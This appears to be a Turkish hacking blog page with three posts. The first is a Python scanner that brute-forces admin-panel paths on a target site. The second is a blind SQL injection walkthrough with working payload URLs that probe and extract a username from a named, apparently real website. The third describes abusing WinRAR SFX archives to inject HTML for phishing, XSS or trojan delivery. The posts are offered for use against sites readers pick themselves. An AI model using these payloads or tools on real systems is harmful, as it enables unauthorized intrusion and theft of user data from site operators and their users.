[Ana Sayfa] [Hakkımda] [Arşiv] [İletişim]

0 Python'da Panel Scanner Yapımı

Merhaba arkadaşlar.Bu yazımda Python ile panel bulucu nasıl kodlanır onu göstermeye çalışıcam.Kullanımı gayet basit olacak. panel.txt içinde panel dizinleri var ve sırasıyla panel.txt 'den hedef siteye brute yapacak.Bu arada panel dizinlerini havij'den çektim; 375 satır dizin var.Php+Asp karışık tarıyor, istenirse kullanıcı tercihine göre asp/php ayrı taranabilir.Sizin daha iyisini yapacağınıza şüphem yok :) başlayalım...

Program HTTP Protokol yanıt kodlarına göre çalışacak.Bütün response kodlarını çekecek ama ben 200,301 ve 302 protokol kodlarını baz alıcam.Zaten bunlar dışında bir durum olursa 404'e atacak. başka bir kod bulursa onuda tararken belirtecek.Son olarak bulduklarını bulunan.txt adında bir dosya oluşturup içine yazarak sonlanacak.

import http.client
print('\n'
'**************************************\n'
'*        Python Panel Scanner        *\n'
'*         Coded by UsluBey           *\n'
'*        uslubey.blogspot.com        *\n'
'**************************************\n')

hedef = input("[+] Hedefi Ver (Örn.: site.com) : ")
print("\n")
site = hedef
Siteye bağlanırken http.client modülünü kullanıyorum.Ardından input() ile hedef siteyi değişkene atıyorum.

def dump(msj,site,panel):
        dump = open("bulunan.txt","a")
        veri = str(msj)+" "+str(site)+"/"+str(panel)+"\n"
        dump.write(veri)
        print("[!] bulunan.txt'ye yazıldı!")
        dump.close()
Ardından dump() fonksiyonu oluşturuyorum.Bu fonksiyon bulunan dizinleri bulunan.txt'ye yazacak.Tarama yapacak fonksiyonumuzu da yazalım:

def tara(site,panel):
    try:
        con = http.client.HTTPConnection(site)
        con.request("HEAD","/"+panel)
        kod = con.getresponse()
        msj = kod.status
        if msj == 200:
            print("[+] [200:OK] Bulundu ! "+site+"/"+panel)
            dump(msj,site,panel)
        elif msj == 301:
            print("[+] [301:Moved Permanently] Bulundu ! "+site+"/"+panel)
            dump(msj,site,panel)
        elif msj == 302:
            print("[+] [302:Found] Bulundu ! "+site+"/"+panel)
            dump(msj,site,panel)
        else:
            print("[-] ["+str(msj)+"] "+site+"/"+panel)
    except Exception as x:
        print("hata: "+str(x))
tara() fonksiyonu ile siteden protokol kodunu çekip işimize yarayanları ekrana basıp ardından txt'ye yazdıralım.Eğer siteye erişim sağlanamazsa except Exception as x betiği ile hatayı x değişkenine atayarak ekrana basıcaz.

f = open("panel.txt","r")
for panel in f.readlines():
    panel = panel.strip()
    tara(site,panel)
panel.txt'de brute edilecek dizinlerimiz var demiştik.Satır satır kontrol için oluşturduğumuz tara() fonksiyonunu for döngüsüne sokuyuyoruz.

Şimdi parçaları birleştirelim:

import http.client
print('\n'
'**************************************\n'
'*        Python Panel Scanner        *\n'
'*         Coded by UsluBey           *\n'
'*        uslubey.blogspot.com        *\n'
'**************************************\n')

hedef = input("[+] Hedefi Ver (Örn.: site.com) : ")
print("\n")
site = hedef

def dump(msj,site,panel):
        dump = open("bulunan.txt","a")
        veri = str(msj)+" "+str(site)+"/"+str(panel)+"\n"
        dump.write(veri)
        print("[!] bulunan.txt'ye yazıldı!")
        dump.close()

def tara(site,panel):
    try:
        con = http.client.HTTPConnection(site)
        con.request("HEAD","/"+panel)
        kod = con.getresponse()
        msj = kod.status
        if msj == 200:
            print("[+] [200:OK] Bulundu ! "+site+"/"+panel)
            dump(msj,site,panel)
        elif msj == 301:
            print("[+] [301:Moved Permanently] Bulundu ! "+site+"/"+panel)
            dump(msj,site,panel)
        elif msj == 302:
            print("[+] [302:Found] Bulundu ! "+site+"/"+panel)
            dump(msj,site,panel)
        else:
            print("[-] ["+str(msj)+"] "+site+"/"+panel)
    except Exception as x:
        print("hata: "+str(x))

f = open("panel.txt","r")
for panel in f.readlines():
    panel = panel.strip()
    tara(site,panel)
Çalıştığında 375 satır dizin tarıyor.php,asp karışık olduğu için biraz kabarık...Paneli bulduğunda döngüyü sonlandırmıyoruz çünkü bazı istisna durumlarda panel 200 koduna karşılık gibi görünebilir fakat apayrı bir yerde olabilir.

Şimdilik bu kadar arkadaşlar, iyi çalışmalar.

[!] Kodlar Python 3 'e göre yazılmıştır.

0 Blind SQL Injection (Temel)

Merhaba arkadaşlar, bu yazıda sizlere MySQL Blind Injection'dan bahsedicem.Normal SQLi bilgilerinize  güvenerek Blind SQLi'de birşeyler yaparım diyorsanız elinize kayda değer birşey geçirecemeyecek, sıkılıp vazgeçeceksiniz.Çünkü Blind SQLi'de sayfada işinize yarayan verileri yazdıramıyorsunuz, her harf için sorgunuzu tekrar düzenlemeniz, bir yandan da aldığınız tepkilere göre ASCII tablosundan yararlanmanız gerekiyor.Yani sabır ve ince işçilik isteyen bir iş.

[1] Sitede Blind SQLi Var mı? Yok mu?

Target  : http://erotikvitrin.net/kategori/45-teknolojik-vibratorler.html

Ben bu yazıma konuk olarak yukarıda gördüğünüz yarak kürek işlerle uğraşan siteyi misafir edicem.Siz artık kendi sitenizi kendiniz bulursunuz :)



Sayfanın normal hali bu,Siteyi mantık hatasına sokmak için and sorgusu kullanılır.and+1=2 ya da and+false gibi sorgularla zaafiyeti anlayabilirsiniz.

Deneyelim:

http://erotikvitrin.net/kategori/45+and+false-teknolojik-vibratorler.html


Sayfa boş döndü...Blind SQLi var olduğunu anlıyoruz.Eğer and+true deseydik hiçbir değişiklik olmayacak, yani dolu görünecekti.

[2] MySQL Versiyonu?

Blind SQLi'da mysql versiyonunu alırken substring() fonksiyonunu kullanıyoruz.substring() fonksiyonu bir karakter dizisi için sadece belli bir bölümü çekmeye yarıyor.

http://erotikvitrin.net/kategori/45+and+substring(@@version,1,1)=4+-teknolojik-vibratorler.html

Bu parametre false döndürdü çünkü mysql versiyonu 4 değil,

http://erotikvitrin.net/kategori/45+and+substring(@@version,1,1)=5+-teknolojik-vibratorler.html

Bu parametre true döndürdü çünkü mysql versiyonu=5 !

[3] SELECT Sorgusu Çalışıyor mu?

http://erotikvitrin.net/kategori/45+and+(select+1)=1+-teknolojik-vibratorler.html

Eğer and+(select+1)=1 sorgusunu verdiğimizde site true dönerse SELECT sorgusu kullanılabilir demektir.

Select çalıştığına göre kullanıcı verilerine ulaşabiliriz.Deneme yanılma yapıcaz.

http://erotikvitrin.net/kategori/45+and+(select+1+from+admin+limit 0,1)=1+-teknolojik-vibratorler.html

admin denedim ama sayfa false yani boş döndü.ama uyeler olarak denediğimde biliyorum ki true dönecek çünkü biliyorum ki tablo adı uyeler :)

http://erotikvitrin.net/kategori/45+and+(select+1+from+uyeler+limit 0,1)=1+-teknolojik-vibratorler.html

Kullanıcı tablolarını bulduk devam ediyoruz...Sırada kolonlar var; deneme yanılma yapmadan direk sorguyu veriyorum; uygun kolon adı : kullanici_adi sayfa true dönecek.

http://erotikvitrin.net/kategori/45+and+(select+substring(concat(1,kullanici_adi),1,1)+from+users limit+0,1)=1+-teknolojik-vibratorler.html

kullanıcı adını çekecek exploit 'miz şu şekilde olacak:

http://erotikvitrin.net/kategori/45+and+ascii(substring((select+concat(kullanici_adi)+from+uyeler+limit+0,1),1,1))>97+-teknolojik-vibratorler.html

buradaki 97 rakamı ascii tablosunda a harfine karşılık gelen karakter.İşin sabır isteyen kısmı burası arkadaşlar.ASCII tablosundan tek tek karakterleri deneyerek harf harf bilgileri çekip en sonunda birleştirmeniz gerekiyor.Bu yüzden yazının başında da belirttiğim gibi ince işçilik şart.

Bir yandan karakterleri denerken bir yandan da not almanız sorgular arasında kaybolmanızı önler ve verileri daha rahat bir araya getirirsiniz.

/kategori/45+and+ascii(substring((SELECT+concat(kullanici_adi)+from+uyeler+limit+0,1),1,1))>97-a
/kategori/45+and+ascii(substring((SELECT+concat(kullanici_adi)+from+uyeler+limit+0,1),2,1))>100-d
/kategori/45+and+ascii(substring((SELECT+concat(kullanici_adi)+from+uyeler+limit+0,1),3,1))>109-m
/kategori/45+and+ascii(substring((SELECT+concat(kullanici_adi)+from+uyeler+limit+0,1),4,1))>105-i
/kategori/45+and+ascii(substring((SELECT+concat(kullanici_adi)+from+uyeler+limit+0,1),5,1))>110-n

ASCII Table :
Şimdilik bu kadar...Bir sonraki yazıda görüşmek üzere hacılar, hayırlı işler ;)

0 Winrar HTML Injection Açığı [SFX]

Merhaba arkadaşlar, bayadır piyasada olan ama yeni farkettiğim (https://milw00rm.net/exploits/8958) şaşırtıcı derecede basit bir açık ama risk düzeyi oldukça yüksek bana göre, ohoo uğraşılsa neler yapılmaz ki bununla :)

Açık 18 Mayıs 2015'de Ehsan Ice tarafından keşfedilmiş ve WinRAR tarafından halen bir yama yayınlanmış değil :) Yani açık winrar'ın bütün sürümlerinde halen bulunuyor !

Herhangi bir dosyayı Arşive Ekle deyin.SFX arşivi oluştur 'u aktifleştirin.

Gelişmiş sekmesi SFX Seçenekleri...
Kodların inject edileceği yer olan Metin ve Simge'ye gelin...
Başlık ve metin alanında her türlü HTML Kod çalıştırabiliriz...CSRF,XSS,Phishing saldırıları yapılabilir.Kurbana trojan bile yedirilebilir :)

0 Loglamayı Sevenlere

Artık mail'de atıyor, yakında bulaşıkları da yıkayacak :) [ * ]
Editleyip ben kodladım diyen götverendir : [*,*] :)